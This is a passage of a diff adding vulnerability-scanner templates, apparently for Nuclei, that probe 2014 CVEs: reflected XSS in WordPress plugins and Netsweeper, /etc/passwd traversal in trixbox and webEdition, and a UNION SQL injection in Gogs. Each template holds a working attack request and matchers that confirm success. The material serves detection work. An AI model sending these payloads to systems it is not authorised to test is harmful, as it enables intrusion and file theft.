+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4561
+    cwe-id: CWE-79
+  description: "The ultimate-weather plugin 1.0 for WordPress has XSS"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/ultimate–weather–plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><script>alert(document.domain)</script>'
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: CVE-2014-4592
+
+info:
+  name: WP Planet <= 0.1 - Unauthenticated Reflected XSS
+  author: daffainfo
+  severity: medium
+  reference: |
+    - https://wpscan.com/vulnerability/3c9a3a97-8157-4976-8148-587d923e1fb3
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4592
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4592
+    cwe-id: CWE-79
+  description: "Cross-site scripting (XSS) vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter."
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/wp–planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2014-5111
+
+info:
+  name: Fonality trixbox - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.
+  reference: |
+    - https://www.exploit-db.com/exploits/39351
+    - https://www.cvedetails.com/cve/CVE-2014-5111
+  tags: cve,cve2014,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2014-5258
+
+info:
+  name: webEdition 6.3.8.0 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in showTempFile.php in webEdition CMS before 6.3.9.0 Beta allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/34761
+    - https://www.cvedetails.com/cve/CVE-2014-5258
+  tags: cve,cve2014,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webEdition/showTempFile.php?file=../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,36 @@
+id: CVE-2014-8682
+
+info:
+  name: Gogs - 'users'/'repos' '?q' SQL Injection
+  author: dhiyaneshDK
+  severity: high
+  description: Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.
+  reference:
+    - http://www.securityfocus.com/bid/71187
+    - http://seclists.org/fulldisclosure/2014/Nov/33
+    - http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html
+    - http://gogs.io/docs/intro/change_log.html
+    - https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d
+    - http://www.exploit-db.com/exploits/35238
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98694
+    - http://www.securityfocus.com/archive/1/533995/100/0/threaded
+  tags: cve,cve2014,sqli,gogs
+  metadata:
+    shodan-query: 'title:"Sign In - Gogs"'
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"ok":true'
+          - '"data"'
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -4,9 +4,9 @@ info:
  name: WordPress DZS-VideoGallery Plugin Reflected Cross Site Scripting
  author: daffainfo
  severity: medium
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2014-9094
-  tags: cve,2014,wordpress,xss,wp-plugin
  description: "Multiple cross-site scripting (XSS) vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter."
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2014-9094
+  tags: cve,cve2014,wordpress,xss,wp-plugin

 requests:
  - method: GET
@@ -18,7 +18,6 @@ requests:
      - type: word
        words:
          - "<script>alert(1)</script>"
-        part: body

      - type: word
        part: header
@@ -0,0 +1,37 @@
+id: CVE-2014-9606
+
+info:
+  name: Netsweeper 4.0.8 - Cross Site Scripting Injection
+  author: daffainfo
+  severity: medium
+  description: Multiple cross-site scripting (XSS) vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.
+  reference:
+    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-9606
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-9606
+    cwe-id: CWE-79
+  tags: cve,cve2014,netsweeper,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '</script><script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: CVE-2014-9607
+
+info:
+  name: Netsweeper 4.0.4 - Cross Site Scripting Injection
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in remotereporter/load_logfiles.php in Netsweeper 4.0.3 and 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter.
+  reference:
+    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-9607
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-9607
+    cwe-id: CWE-79
+  tags: cve,cve2014,netsweeper,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '</script><script>alert(document.domain)</script>'
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200